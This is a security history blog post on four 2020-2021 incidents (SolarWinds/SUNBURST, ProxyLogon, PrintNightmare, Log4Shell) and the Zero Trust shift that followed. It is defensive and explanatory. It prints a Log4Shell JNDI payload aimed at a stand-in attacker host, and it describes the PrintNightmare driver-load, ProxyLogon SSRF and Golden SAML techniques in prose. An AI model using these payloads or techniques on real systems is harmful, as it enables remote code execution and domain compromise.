# The Thirteen Months That Made Zero Trust Unavoidable: Windows Security Wars, Part 5 (2020-2023)
> Four incidents in thirteen months -- SolarWinds, ProxyLogon, PrintNightmare, Log4Shell -- broke four Windows architectural assumptions and forced the Zero Trust pivot the industry had on the shelf since August 2020.
*Published: 2026-05-27*
*Canonical: https://paragmali.com/blog/the-thirteen-months-that-made-zero-trust-unavoidable-windows*
*License: CC BY 4.0 - https://creativecommons.org/licenses/by/4.0/*
---
Four incidents in thirteen months -- SolarWinds (December 2020), ProxyLogon (March 2021), PrintNightmare (June-July 2021), and Log4Shell (December 2021) -- broke four assumptions the Windows blue team had quietly elevated to invariants: that signed vendor updates are trustworthy, that on-premises server fleets are bounded by the firewall, that legacy SYSTEM services on Domain Controllers are not on the attack surface, and that transitive dependencies are knowable. The architectural pivot was already on the shelf: NIST SP 800-207, *Zero Trust Architecture*, shipped in August 2020, four months before SolarWinds. The defensive primitives that operationalized it -- Microsoft Pluton, the Windows 11 hardware baseline, Conditional Access with Continuous Access Evaluation and the Primary Refresh Token, and the LSA Protection and Vulnerable Driver Blocklist defaults -- shipped at scale through 2022-2023. The trust roots are still not closed; Storm-0558 (July 2023) is the existence proof that the policy engine itself is a privileged plane. That is Part 6.
## 1. Eighteen Thousand Signatures, All Valid
On December 13, 2020 -- a Sunday -- Mandiant Threat Intelligence pushed a blog post to FireEye's website titled "Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor." The post named a single binary, `SolarWinds.Orion.Core.BusinessLayer.dll`, that had been digitally signed by SolarWinds' legitimate code-signing certificate and distributed through SolarWinds' own update server between February and June 2020 [@mandiant-sunburst]. Two days later, SolarWinds filed a Form 8-K with the U.S. Securities and Exchange Commission stating that the actual number of customers who installed the updates between March and June 2020 was fewer than 18,000 [@solarwinds-sec-edgar].
Two months after that, Microsoft President Brad Smith testified to the U.S. Senate Select Committee on Intelligence that the number of follow-on victims who had been targeted with further lateral movement -- via a token-forgery primitive against Active Directory Federation Services -- was fewer than 100 [@senate-intel-2021-02-23].
The architectural lesson is in the gap between those two numbers. Eighteen thousand endpoints validated the [Authenticode signature](/blog/authenticode-and-catalog-files-the-crypto-foundation-under-w/) on a binary [@ms-authenticode], executed it as trusted code, and did exactly what an endpoint protection product is specified to do: nothing, because the binary was signed by a vendor on the trusted publisher list. The attacker then chose roughly one hundred targets to pursue further. The signature was real. The build pipeline that produced the signature was compromised. Ken Thompson's 1983 Turing Award lecture "Reflections on Trusting Trust," published in *Communications of the ACM* in August 1984, had predicted this exact class thirty-six years earlier [@thompson-1984-acm, @thompson-nakamoto-reading]; in December 2020 the Windows industry collected the receipt.
"This is the largest and most sophisticated attack the world has ever seen ... we have seen substantial evidence that points to the Russian foreign intelligence agency, and we have found no evidence that leads us anywhere else." -- Brad Smith, Microsoft President, U.S. Senate Select Committee on Intelligence, February 23, 2021 [@senate-intel-2021-02-23]
SolarWinds was the first of four incidents the Windows blue team did not have a vocabulary for. ProxyLogon arrived in March 2021 and broke the assumption that on-premises Exchange Server fleets were bounded by the corporate firewall. PrintNightmare arrived in June-July 2021 and broke the assumption that legacy services running as SYSTEM on Domain Controllers were not on the attack surface. Log4Shell arrived in December 2021 and broke the assumption that "what software is in my fleet" was an answerable question.
Four incidents. Thirteen months. Four assumptions that the prior decade had quietly elevated to invariants. If the signature was real and the build was compromised, then "protect the endpoint" was protecting the wrong thing. Where did the threat model go?
## 2. Why 2020 Was the Inflection Point
The four incidents did not happen because 2020 was uniquely insecure. They happened because the structural conditions had been gathering for a decade, and three of them converged that year.
**The endpoint-protection era's high-water mark.** By 2019, the operational consensus across Windows fleets was that endpoint-centric defense-in-depth had become tractable. [Credential Guard](/blog/the-empty-hash-credential-guard-the-lsaiso-trustlet-and-the-/) (2015) isolated LSASS secrets in a virtualization-based enclave [@ms-credential-guard]. Windows Defender ATP (2016) streamed kernel-level telemetry to a security operations centre. [BloodHound](/blog/ad-is-a-graph-how-bloodhound-made-defenders-think-like-attac/) (2016) made the on-premises Active Directory graph queryable as attack paths rather than as object permissions [@bloodhound-specterops]. Device Guard and [WDAC](/blog/wdac--hvci-code-integrity-at-every-layer-in-windows/) (2017) constrained kernel and userspace code identity. The threat model was the endpoint. The perimeter was the VPN. The build pipeline was the vendor's problem. The cloud identity layer was Conditional Access on a handful of policies. The blue team's frame of reference was finite and bounded.
Microsoft's 2021 Digital Defense Report framed the post-event detection posture honestly: the industry had become good at *finding* attackers after the fact, less good at *stopping* them at first execution [@mddr-2021-specific]. Detection and response as the load-bearing primitive is precisely the posture that SolarWinds invalidated -- because the binary that ran was the one the EDR was specified to trust.
**The pandemic-era expansion of the attack surface.** From March 2020 onward, remote work shifted authentication to cloud identity providers, exposed VPN and RDP gateways at unprecedented scale, and made internet-facing Exchange near-universal in the mid-market. None of this *caused* SolarWinds -- the SolarWinds build-pipeline access had begun in September 2019 -- but it reshaped which incidents had the most operational impact when they landed. An Exchange Server fleet that had been ten internal users behind a VPN in 2019 was a hundred external users on the public internet in 2021. ProxyLogon would have been a serious incident in 2019. In 2021 it was a federal emergency.
An attack in which an adversary alters software, hardware, or services *before* the legitimate vendor delivers them, so that the eventual victim trusts the malicious artifact by virtue of trusting the vendor's identity. The compromise can occur at the source (commit signing keys), the build (the compiler or build server), the distribution (the update channel), or the installation (the package manager). SUNBURST was a *build-pipeline* compromise: SolarWinds' source remained clean; the build server inserted SUNBURST code into the compiled artifact, then signed it with SolarWinds' legitimate code-signing certificate.
**The state of supply-chain assurance circa 2020.** SLSA, the framework that would later codify "what does it mean for a build to be trustworthy" [@google-slsa-2021-06-16, @slsa-v1-levels], did not yet exist; Google announced it in June 2021. Reproducible builds were a research aspiration on a handful of Linux distributions. CycloneDX [@cyclonedx-home] and SPDX [@spdx-home] existed as bill-of-materials specifications but had no federal mandate behind them. in-toto [@in-toto-home] was the only deployed cryptographic-attestation framework for build steps, and adoption was minimal. Executive Order 14028, which would make Software Bill of Materials provision a federal procurement requirement, was still six months away [@eo-14028]. The build pipeline was not threat-modeled as attacker territory because no one had a name for the territory yet.
The same 2020-2023 window also produced a parallel criminal-economy track this article does not walk operationally: the human-operated ransomware cluster of Conti, REvil, DarkSide, and BlackCat / ALPHV, and the supply-chain-adjacent ransomware incidents Colonial Pipeline (May 2021, DarkSide), JBS Foods (May 2021, REvil), and Kaseya VSA (July 2, 2021, REvil). Kaseya is the non-Microsoft supply-chain parallel to SolarWinds: compromise the MSP-tier remote-monitoring platform, downstream MSPs and their customers receive trojanized commands, an architectural class that is not Microsoft-specific [@kaseya-ic3-csa-pdf-substitute]. The canonical primaries are CISA / FBI / NSA / USSS Joint Advisory AA21-265A on Conti [@conti-aa21-265a-wayback], the July 6, 2021 CISA-FBI Kaseya guidance [@kaseya-ic3-csa-pdf-substitute], the April 2022 FBI Flash and CISA alert on BlackCat / ALPHV [@cisa-blackcat-alert-substitute], and the February 2022 US/UK/AU joint ransomware advisory AA22-040A [@cisa-aa22-040a]. Microsoft's canonical framing for "human-operated ransomware" lives in the Digital Defense Report 2022 Cybercrime chapter [@mddr-2022]; readers wanting the operational ransomware-economy treatment should start there.
Taken together, these three threads produced an industry in which the trust-anchor primitives (signed code, perimeter firewalls, default-enabled SYSTEM services, "what library are we using") had all been quietly elevated to invariants while the conditions that made them invariant were eroding. The four incidents are not four bugs; they are four exposures of those four assumptions. The next section walks each in turn.
## 3. The Four Incidents
### 3.1 SolarWinds / SUNBURST: Supply Chain at Silicon
Five days before Mandiant published the SUNBURST analysis, FireEye's CEO Kevin Mandia disclosed that "a highly sophisticated state-sponsored adversary" had stolen FireEye's internal Red Team tooling [@mandiant-fireeye-rt-tools]. The disclosure triggered an internal investigation that traced the access path through FireEye's own SolarWinds Orion deployment. By the time Mandiant pushed the December 13 blog, the chain was named, the affected DLL was identified, and the federal response was already moving: CISA's Emergency Directive 21-01 went out the same day, ordering every Federal Civilian Executive Branch agency to disconnect or power down SolarWinds Orion products [@cisa-ed-21-01].
**The exploit chain.** The SolarWinds build pipeline had been compromised since approximately September 2019, eight months before the trojanized builds reached customers [@solarwinds-orange-matter-sunburst]. Between February and June 2020, the SolarWinds release process produced four signed versions of Orion that contained additional code added during the build itself, after the source was clean but before the artifact was signed. The compromised builds embedded a backdoor Mandiant named SUNBURST inside `SolarWinds.Orion.Core.BusinessLayer.dll` [@mandiant-sunburst]. SUNBURST was deliberately quiet: it slept for up to two weeks after install, camouflaged its callback traffic as legitimate Orion telemetry, generated its command-and-control hostnames from a domain-generation algorithm rooted at `avsvmcloud.com`, and ignored any host whose environment matched the attacker's exclusion list (which included most security vendors and some forensic tooling). On selected targets, SUNBURST loaded a second-stage Cobalt Strike beacon named TEARDROP [@mandiant-sunburst] or its variant Raindrop [@symantec-raindrop-2021], and from there the attacker pursued domain compromise of the on-premises Active Directory.
**SUNSPOT: the build-time injector.** Mandiant's December 13 post named the SUNBURST artifact but did not yet describe *how* the trojanized DLL got into the build. On January 11, 2021, CrowdStrike Intelligence published an analysis of the injector itself, codenamed SUNSPOT, co-published with SolarWinds' own root-cause investigation update [@crowdstrike-sunspot, @solarwinds-orange-matter-sunburst]. SUNSPOT was a Windows binary present on the SolarWinds build server as `taskhostsvc.exe`. It monitored running processes for `MsBuild.exe`, walked the new process's environment to find the directory of the Orion Visual Studio solution, located the source file `InventoryManager.cs`, replaced its contents on disk with a SUNBURST-bearing version just before the C# compiler read the file, waited for the build to finish, then atomically restored the original file. Because the substitution happened in the narrow window between MsBuild reading the source and the compiler emitting the binary, the source repository at rest never showed evidence. The artifact on disk after the build looked exactly like the artifact a clean build would have produced -- except that the compiled bytes embedded SUNBURST.
The build-time injector CrowdStrike identified as the SolarWinds-side companion to SUNBURST [@crowdstrike-sunspot]. SUNSPOT is the operational realization at production scale of the threat model Ken Thompson described in 1984: the build process is the trust boundary, and an attacker who controls the build process produces an artifact whose signature is correct but whose semantics are not what the source code says.
The on-premises compromise was the means. The cloud pivot was the end. Once the attacker controlled the on-premises ADFS server's token-signing private key, the chain shifted to Golden SAML.
A token-forgery technique introduced by Shaked Reiner of CyberArk Labs in November 2017 [@reiner-2017-cyberark]. If an attacker obtains the token-signing private key of a SAML 2.0 identity provider (typically the on-premises Active Directory Federation Services token-signing certificate), the attacker can forge a SAMLResponse for any user, with any group memberships, valid for any duration. Service providers that trust the federation cannot distinguish forged tokens from legitimate ones. Reiner published a reference implementation called `shimit` alongside the disclosure [@cyberark-shimit-gh]. The naming is a deliberate parallel to Mimikatz's Golden Ticket against Kerberos.
The first-stage backdoor that Mandiant identified inside `SolarWinds.Orion.Core.BusinessLayer.dll` in December 2020 [@mandiant-sunburst, @solarwinds-sec-edgar]. SUNBURST established initial command and control over HTTPS, blending into the volume of telemetry that legitimate Orion deployments generated.
sequenceDiagram
participant SUNSPOT as SUNSPOT on SolarWinds build server
participant Build as SolarWinds MsBuild process
participant Customer as Customer Orion Server
participant C2 as avsvmcloud DGA C2
participant ADFS as On-prem ADFS
participant M365 as Microsoft 365
SUNSPOT->>Build: Replace InventoryManager.cs at compile time
Build->>Customer: Signed Orion update with SUNBURST DLL
Customer->>Customer: Authenticode validates signature, executes
Customer->>C2: HTTPS beacon disguised as Orion telemetry
C2->>Customer: TEARDROP or Raindrop second-stage loader
Customer->>ADFS: Lateral movement, extract token-signing key
ADFS->>ADFS: Attacker forges SAMLResponse offline
ADFS->>M365: Golden SAML token for chosen identity
M365->>M365: Federated trust accepts forged assertion
Note over Customer,M365: Approximately 100 targeted follow-on victims out of 18,000 SUNBURST recipients
**Blast radius.** SolarWinds' December 14 Form 8-K stated that fewer than 18,000 customers installed the trojanized updates between March and June 2020 [@solarwinds-sec-edgar]. Brad Smith's February 23 Senate testimony placed the count of follow-on victims pursued via lateral movement at fewer than 100 [@senate-intel-2021-02-23]. On April 15, 2021, the White House formally attributed the operation to the Russian Foreign Intelligence Service (SVR), with coincident sanctions and the expulsion of ten Russian diplomats [@wh-fact-sheet-svr-attribution]. The activity cluster Mandiant had originally tracked as UNC2452 was merged into APT29 in May 2022 [@mandiant-apt29-merge]; Microsoft's Nobelium designation was retired on April 18, 2023 in favor of "Midnight Blizzard" under the new weather-themed actor-naming scheme [@ms-actor-naming-2023].
The renaming pile-up matters operationally. Detection rules written against "UNC2452" in early 2021, against "APT29" after May 2022, and against "Midnight Blizzard" after April 2023 all reference the same actor cluster, but tooling and queries that anchor on a single name miss the others. Mandiant's SUNBURST countermeasure repository preserves the original IOCs [@mandiant-sunburst-countermeasures-gh].
**Vendor response and federal action.** CISA's January 8, 2021 Cybersecurity Advisory AA21-008A was the first federal advisory to name forged authentication tokens, federated identity bypass, and cloud-side persistence as a coherent detection priority [@cisa-aa21-008a]. CISA released an open-source detection tool, Sparrow, with the advisory. SolarWinds shipped Orion 2020.2.1 HF 2 as the hotfix sequence. The April 13, 2021 Department of Justice action against ProxyLogon web shells (covered in the next subsection) and the April 15 White House attribution and sanctions package effectively closed the public-sector response cycle within four months of the December 13 disclosure.
> **Key idea:** Signed code from your vendor is not trustworthy if your vendor's build pipeline is compromised. Authenticode signs the publisher's binary; it does not sign the build that produced the binary. The eighteen thousand SUNBURST recipients did exactly what their endpoints were specified to do.
If the entry was a signed update from a trusted vendor, the entry was inside the perimeter before the perimeter was tested. The second incident showed what happens when the entry *is* the perimeter.
### 3.2 HAFNIUM / ProxyLogon: The Front-End That Pre-Authenticated for the Back-End
Two independent researcher pipelines converged on the same Exchange vulnerability chain within days of each other in January 2021. Volexity's Steven Adair and team observed exploitation activity against customer Exchange Server deployments as early as January 6, 2021 -- a date Volexity later revised to January 3, 2021 in their March 8 update to "Operation Exchange Marauder" [@volexity-exchange-marauder]. Both January dates are *earliest-observed exploitation* dates, not detection or zero-day-identification dates; the chain was already in operator hands when Volexity's customer-side incident-response telemetry surfaced it. DEVCORE's Cheng-Da "Orange Tsai" Tsai arrived at the same chain independently through code review and reported it to MSRC on January 5 [@orange-tsai-proxylogon]. Both reports landed at Microsoft Security Response Center; both researchers held the disclosure as MSRC worked on a patch. On March 2, 2021 -- a Tuesday, but not a Patch Tuesday -- Microsoft shipped out-of-band updates for all supported Exchange Server versions [@msft-hafnium-blog].
**The exploit chain.** The audit-correct shape of the chain is *three* CVEs, not four. CVE-2021-26855 is a server-side request forgery in the Exchange Server front-end that allows an unauthenticated attacker to send requests to the back-end as if the requester were Exchange itself [@nvd-cve-2021-26855]. CVE-2021-27065 is a post-authentication arbitrary file write that the attacker reaches *via* the SSRF, allowing an attacker-chosen ASPX web shell to be written to a server-controlled directory [@tenable-exchange-zd]. The shell then executes under the Exchange process identity, which is SYSTEM. A separate file-write primitive (CVE-2021-26858) provides a parallel path to the same web-shell drop after authentication.
A class of vulnerability in which an attacker induces a server to issue requests on the attacker's behalf, typically to internal resources that the attacker could not reach directly. CVE-2021-26855 was an SSRF in the Exchange Server front-end (the Client Access role): a forged X-AnonResource-Backend cookie caused the front-end to proxy attacker-supplied requests to the Exchange back-end with the proxy's own authentication context, bypassing the Exchange authentication boundary entirely.
CVE-2021-26857 sits in a parallel position. It is an insecure deserialization in Exchange's Unified Messaging service that yields code execution as SYSTEM *to any authenticated user* [@tenable-exchange-zd]. It does not require the SSRF step. Treating ProxyLogon as a single linear chain of four CVEs is the common simplification; the audit-correct framing is three CVEs in the linear SSRF-to-web-shell path and one separate authenticated RCE primitive in a parallel position.
> **Note:** The "four chained zero-days" shorthand collapses two distinct attack-class shapes and obscures the SSRF-as-load-bearing-primitive observation. The chain that proxies through 26855 does not pass through 26857; 26857 was an independent RCE primitive available to attackers who already held any Exchange-authenticated identity, which is a different threat-model class from the pre-auth SSRF.
flowchart TD
A[Unauthenticated attacker] --> B[CVE-2021-26855 SSRF on front-end]
B --> C[Forged backend-auth cookie]
C --> D[CVE-2021-27065 or CVE-2021-26858 arbitrary file write]
D --> E[ASPX web shell on disk]
E --> F[SYSTEM-level RCE]
subgraph Parallel
G[Authenticated user] --> H[CVE-2021-26857 Unified Messaging deserialization]
H --> F
end
**Blast radius.** Pre-patch numbers come from two separate primaries. Brian Krebs reported on March 5, 2021 that "at least 30,000" U.S. organizations had been compromised [@krebs-hafnium-march5]. Bloomberg's March 7 reporting placed the worldwide figure at "as many as 60,000" organizations [@krebs-hafnium-march5]. After Microsoft's March 2 patch shipped, the chain was widely weaponized by additional actor groups -- LuckyMouse, Tick, Calypso, Winnti, and others -- per ESET's March 10, 2021 enumeration of at least ten APT groups exploiting the same chain [@eset-exchange-10apt-2021]; the aggregate count of post-patch compromised servers ran toward 250,000 in the following weeks per Krebs's contemporaneous reporting on hundreds-of-thousands-class Exchange server compromise globally [@krebs-hafnium-march5]. That 250,000 figure is widely cited but it aggregates *post-patch* indiscriminate exploitation; it is not a pre-patch numerator. Microsoft attributed the original campaign to a Chinese state-sponsored actor it named HAFNIUM, later renamed Silk Typhoon under the weather-themed scheme in April 2023 [@msft-hafnium-blog, @ms-actor-naming-2023].
HAFNIUM became Silk Typhoon at the same April 18, 2023 rename pass that made Nobelium into Midnight Blizzard [@ms-actor-naming-2023]. Microsoft's threat-actor naming history matters because mid-cycle renames can fragment detection coverage; rules keyed on the old name will silently stop matching new advisories.
**Vendor response and federal action.** Beyond the March 2 out-of-band patches, Microsoft released a one-click mitigation tool on March 8 and the Exchange On-premises Mitigation Tool on March 15. The Department of Justice and FBI then took an unprecedented step.
The architectural lesson is at the level of the product design. Exchange Server's front-end and back-end were specified to communicate over an authenticated trust boundary inside a single deployment. CVE-2021-26855 made the front-end act as the attacker's proxy *into* the back-end; the SSRF did not bypass the trust boundary, it relocated to its server-side end and walked through it. On-premises server fleets that organizations control are still on the public internet, and the entry-point class is "the front-end proxy that pre-authenticates traffic for the back-end."
If the supply-chain class compromised the signed code on the endpoint, the on-premises server class compromised the boundary readers thought was between the endpoint and the internet. The third incident compromised the boundary *inside* the perimeter.
### 3.3 PrintNightmare: The Legacy SYSTEM Service on Every Domain Controller
On Patch Tuesday, June 8, 2021, Microsoft shipped a fix for CVE-2021-1675 [@msrc-cve-2021-1675] and labelled the vulnerability as an Elevation of Privilege in the Windows Print Spooler. Two weeks later -- with no announcement, no out-of-band advisory, and no community notification -- the MSRC entry was edited to add Remote Code Execution to the impact classification. Sangfor's Zhiniang Peng (@edwardzpeng) and Xuefeng Li (@lxf02942370) had reported the EoP behavior [@cube0x0-cve-2021-1675-gh]; the silent reclassification suggested an RCE primitive existed in the same surface that the June 8 patch had not closed. On June 29, believing the chain was now patched, Sangfor pushed a proof-of-concept to GitHub [@cube0x0-cve-2021-1675-gh, @cert-cc-vu-383432]. The repository was taken down within hours; copies preserved in forks (notably @cube0x0's Impacket port) became the artifact-of-record.
CERT/CC's Will Dormann reproduced the chain the next day and published Vulnerability Note VU#383432 with a sentence that the Windows operations community spent the rest of the week re-reading [@cert-cc-vu-383432]:
"While Microsoft has released an update for CVE-2021-1675, it is important to realize that this update does NOT protect against public exploits that may refer to PrintNightmare or CVE-2021-1675." -- Will Dormann, CERT/CC VU#383432, June 30, 2021
On July 1, Microsoft assigned a new CVE -- CVE-2021-34527 -- for the broader RCE surface and acknowledged that it was "similar but distinct" from CVE-2021-1675 [@msrc-cve-2021-34527]. Out-of-band patches followed on July 6-7 for every supported Windows release, including unusual coverage for Windows 7 and Server 2008. On July 13, CISA issued Emergency Directive 21-04 ordering federal civilian agencies to apply the patches immediately and to disable or restrict the Print Spooler on Domain Controllers as a standing mitigation [@cisa-ed-21-04]. Microsoft followed with KB5005010 on July 14, documenting the supplementary Point-and-Print hardening required to close the residual surface [@kb5005010].
The Sangfor commit was preserved in forks because GitHub's fork model maintains each fork as an independent copy of the upstream repository's commit object graph, retained regardless of subsequent upstream deletion [@github-docs-about-forks]. The @cube0x0 fork [@cube0x0-cve-2021-1675-gh] became the de facto preserved artifact-of-record, with Sangfor's original authorship credited in the README. The story is a study in the asymmetry of disclosure timing: a vendor can take down a repository, but cannot retract the bytes that have already left.
**PrintNightmare had a prior.** Thirteen months earlier, on May 12, 2020, Alex Ionescu and Yarden Shafir published "PrintDemon" against the same service, the same SYSTEM context, and the same fundamental design assumption that PrintNightmare would expose more deeply [@printdemon-windows-internals]. PrintDemon (CVE-2020-1048) exploited the Spooler's printer-port abstraction: a printer port name was an opaque string the Spooler treated as a destination, and an unprivileged user could set the port name to an arbitrary file path. The Spooler would then write the print job bytes to that path -- with SYSTEM privileges -- producing arbitrary file write as SYSTEM through three PowerShell one-liners (`Add-Printer`, set port, `Out-Printer`) that any standard user could run. SafeBreach Labs' Peleg Hadar and Tomer Bar independently reported the same surface, reverse-engineered the May Microsoft patch, and presented related Spooler work at Black Hat USA 2020 [@cyberscoop-safebreach-spooler].
The design flaw is the same in both cases: the Spooler's RPC interface trusts caller-supplied strings (port names in PrintDemon; driver-package paths in PrintNightmare) without enforcing caller-side permissions on the file paths they resolve to. PrintDemon's primitive was arbitrary *file write* as SYSTEM. PrintNightmare's primitive was arbitrary *code execution* as SYSTEM via DLL load. The May 2020 to June-July 2021 progression is the canonical "expand the primitive" vulnerability-research arc -- same service, same trust assumption, incrementally more dangerous primitive.
| Dimension | PrintDemon (CVE-2020-1048) | PrintNightmare (CVE-2021-1675 / CVE-2021-34527) |
|---|---|---|
| Disclosure | May 12, 2020 Patch Tuesday | June 8 (EoP), July 1 (RCE), July 6-7 OOB |
| Researchers | Ionescu, Shafir; SafeBreach Hadar, Bar | Sangfor Peng, Li; CERT/CC Dormann; @cube0x0 |
| Vulnerable RPC primitive | Printer-port name accepts arbitrary path | `RpcAddPrinterDriverEx` loads driver from UNC |
| Primitive class | Arbitrary file write as SYSTEM | Arbitrary code execution as SYSTEM |
| Caller privilege required | Standard local user | Authenticated domain user |
| Domain Controller impact | Local file-write only | Remote SYSTEM RCE on every DC running Spooler |
| Disclosure model | Coordinated, Patch Tuesday | Coordinated, then accidental PoC, then OOB |
PrintNightmare is the wider case of an attack-class PrintDemon had already opened. The architectural lesson is that a vulnerability researcher who finds *any* primitive in a SYSTEM-privileged Windows RPC service should be treated as a signal that the broader surface needs review, not as a point-fix candidate.
**The exploit chain.** The Windows Print Spooler service (`spoolsv.exe`) runs as SYSTEM on every Windows machine and is enabled by default, including on Domain Controllers. The Spooler exposes two Remote Procedure Call interfaces (MS-RPRN and MS-PAR) used by clients to query printers, submit jobs, and install drivers. `RpcAddPrinterDriverEx` is the RPC method that installs a new printer driver. As shipped before July 2021, the method accepted a driver path specified as a UNC, fetched the driver file from that path, and loaded it into the Spooler process -- which runs as SYSTEM. An authenticated domain user could call `RpcAddPrinterDriverEx` against any reachable Spooler with the driver path pointing to an attacker-controlled share, and obtain SYSTEM execution in the target Spooler process. Domain Controllers running Spooler by default meant any authenticated domain user obtained SYSTEM on every DC. Domain compromise followed.
The MS-RPRN Print System Remote Protocol is the canonical Windows RPC interface for printer management. Per the Microsoft Open Specifications Appendix B Product Behavior, the earliest applicable Windows version is Windows NT 3.1 (1993). It exposes interfaces for printer enumeration, job management, and driver installation. Because Spooler hosts the interface and runs as SYSTEM, every reachable Spooler is a potential SYSTEM-level RPC endpoint. PrintNightmare exploited the `RpcAddPrinterDriverEx` method specifically; the related `RpcAsyncAddPrinterDriver` method is the asynchronous variant Dormann documented as the alternative entry point.
flowchart LR
A[Domain user with credentials] --> B[RpcAddPrinterDriverEx call]
B --> C[Print Spooler on Domain Controller]
C --> D[Spooler fetches driver from UNC path]
D --> E[Attacker SMB share with malicious DLL]
E --> C
C --> F[DLL loaded into spoolsv.exe as SYSTEM]
F --> G[SYSTEM execution on Domain Controller]
G --> H[Domain compromise]
The architectural lesson is that the Windows attack surface still includes services dating from Windows NT 3.1, designed for a single-domain office LAN, running with SYSTEM-equivalent privileges on every Domain Controller by default. A silent vendor reclassification from EoP to RCE is itself an adversarial signal -- it is what leaks the technique.
> **Note:** The defensible architecture for legacy Windows RPC surfaces is to constrain who can reach them and what privileges the host process holds when they are reached. Disabling Print Spooler on Domain Controllers (per CISA ED 21-04 [@cisa-ed-21-04]) and enabling the Point-and-Print restrictions in KB5005010 [@kb5005010] are the immediate hardening; the long-arc architectural answer is the same one that closes the ProxyLogon class, namely treating any service exposing RPC at SYSTEM as an internet-facing surface even when the network topology says otherwise.
If the supply-chain class compromised the signature and the on-premises server class compromised the perimeter, PrintNightmare compromised the *inside* of the trust boundary -- the Domain Controller itself. The fourth incident showed that even the boundary of the application stack was not a boundary.
### 3.4 Log4Shell: The Universal Library and the Transitive Dependency Graph
On November 24, 2021, Chen Zhaojun of Alibaba Cloud Security emailed the Apache Software Foundation with a vulnerability in Log4j 2.x: any message that the application logged, if it contained a `${jndi:...}` substitution sequence, would trigger an outbound JNDI lookup [@log4j-apache-security]. On December 9, the bug surfaced in Minecraft Java Edition community channels -- which mattered because Minecraft's chat handler logs the messages players send. Within hours, LunaSec's Free Wortley, Chris Thompson, and Forrest Allison published the canonical writeup and coined the name "Log4Shell" [@lunasec-log4shell-gh]. Apache shipped Log4j 2.15.0 on December 10. CVE-2021-44228 was scored CVSS 10.0 [@nvd-cve-2021-44228]. On December 11, CISA Director Jen Easterly's official statement called Log4Shell a "severe risk" and "an urgent challenge to network defenders" [@cisa-easterly-statement-2021-12-11]. Two days later, on the CISA-convened national industry call, she went further: "one of the most serious I've seen in my entire career, if not the most serious" [@cyberscoop-easterly-2021-12-13].
CVE-2021-44228 was the moment "what versions of what library are in my fleet" stopped being a procurement question and became a federal-advisory question. -- Synthesis from CISA AA21-356A and the Apache Log4j security history
**Why a Java library belongs in a Windows series.** Log4Shell is not a Windows vulnerability. The bug is in Apache Log4j, a Java logging library, and the impact lands on any process that runs the affected Log4j versions and logs untrusted input. It belongs in this series because the most enterprise-impactful exploitation in the Windows-server-fleet population ran through Java applications hosted on Windows: Tomcat and JBoss application servers, VMware vCenter and Horizon, Atlassian Confluence and Jamf Pro on Windows hosts, Cisco enterprise products, ElasticSearch, and dozens of internal Java services running on Windows Server with embedded JREs. Microsoft's December 11, 2021 Security Blog post (with rolling updates through January 2022) documented Log4Shell exploitation against Windows-hosted Java fleets and the Defender for Endpoint detections built on top [@ms-log4j-guidance]; CISA's joint advisory covered the cross-platform exposure explicitly [@cisa-aa21-356a].
A Java API, first standardized in 1999, that provides a uniform interface for naming and directory services. JNDI is the abstraction layer between Java application code and back-end directory implementations -- LDAP, RMI, DNS, CORBA, and others. The Log4j 2.x message-pattern substitution feature evaluated `${jndi:...}` lookups by calling JNDI to resolve the named resource. If the JNDI URL pointed at an attacker-controlled LDAP server, the attacker could return a Java class reference, which the JVM would then download and instantiate -- executing arbitrary code in the application process.
**The exploit chain.** Any logged string that contained a `${jndi:ldap://attacker.example/payload}` substitution caused Log4j to call out to the attacker's LDAP server. The server returned a Java class reference; the JVM dereferenced it, loaded the class over HTTP, and instantiated it. Arbitrary code execution followed under the JVM's identity. The exploitation primitive was extraordinarily compact: any place an attacker could get an attacker-controlled string into a logged event -- HTTP User-Agent, X-Forwarded-For, Minecraft chat, application form fields, log-event JSON, the username field of a failed authentication -- was an entry point.
sequenceDiagram
participant Att as Attacker
participant App as Java application on Windows
participant Log4j as Log4j 2.x logger
participant LDAP as Attacker LDAP server
Att->>App: HTTP request, header contains JNDI lookup string
App->>Log4j: logger.info incoming-request line
Log4j->>Log4j: Message-pattern substitution evaluates the lookup
Log4j->>LDAP: JNDI LDAP query to attacker host
LDAP->>Log4j: Reference to attacker-hosted Java class
Log4j->>LDAP: HTTP fetch of the class file
LDAP->>Log4j: Bytecode payload
Log4j->>App: JVM instantiates the class, runs constructor as the JVM identity
Note over App: SYSTEM-level RCE on Windows hosts where the JVM ran as SYSTEM
The Minecraft Java Edition leak vector mattered both for impact and for visibility. Java Edition's chat handler logs the messages players send. A player who typed a JNDI lookup into chat could trigger remote code execution on any server -- including the player's own Minecraft client -- that processed the chat through Log4j. The fastest public confirmation of the bug came not from a security researcher but from screenshots of Minecraft chat sessions, and the discovery propagated through the gaming community before the security industry had its first advisory out.
**Blast radius.** CVSS 10.0 is the maximum score the framework allows. At the same December 13 industry call, officials placed Log4Shell as affecting "hundreds of millions of devices" [@cyberscoop-easterly-2021-12-13]; the formal eight-agency joint advisory AA21-356A followed on December 22 [@cisa-aa21-356a]. The number was never an audited count; it was an order-of-magnitude estimate that combined Java's installed base (the JDK shipping by the time of disclosure was on every major enterprise platform) with Log4j's adoption across the Java community (Log4j 2 is a transitive dependency of thousands of enterprise packages, often pulled in by chained dependency graphs that the application owner never explicitly chose). What the figure communicated -- accurately -- was that *no one knew* how many Log4j 2 instances existed in production.
**Patch cascade.** Log4j 2.15.0 (December 10) closed CVE-2021-44228 but did not fully eliminate the JNDI lookup primitive. 2.16.0 (December 14) closed CVE-2021-45046 by removing message lookups entirely. 2.17.0 (December 18) closed CVE-2021-45105, a denial-of-service in the same substitution path. 2.17.1 (December 28) closed CVE-2021-44832, an arbitrary-code-execution variant. The architectural lesson includes the "first patch did not actually fix it" story -- four CVEs and four patch releases over nineteen days to fully close a single bug class. Backports to the older 2.3.x and 2.12.x branches continued into January 2022.
A formal, machine-readable inventory of the components -- libraries, packages, embedded code, and dependencies -- that make up a software artifact. The two dominant standards are CycloneDX (OWASP, ECMA-424) [@cyclonedx-home] and SPDX (Linux Foundation, ISO/IEC 5962:2021) [@spdx-home]. EO 14028 made SBOM provision a federal procurement requirement [@eo-14028]; the SBOM debate the four incidents accelerated is whether SBOM data is most useful as a *prevention* tool (refusing to install software whose components fail policy) or as an *incident response* tool (answering "are we exposed?" in hours rather than weeks). Log4Shell was the first incident where the IR utility was operationally tested at scale.
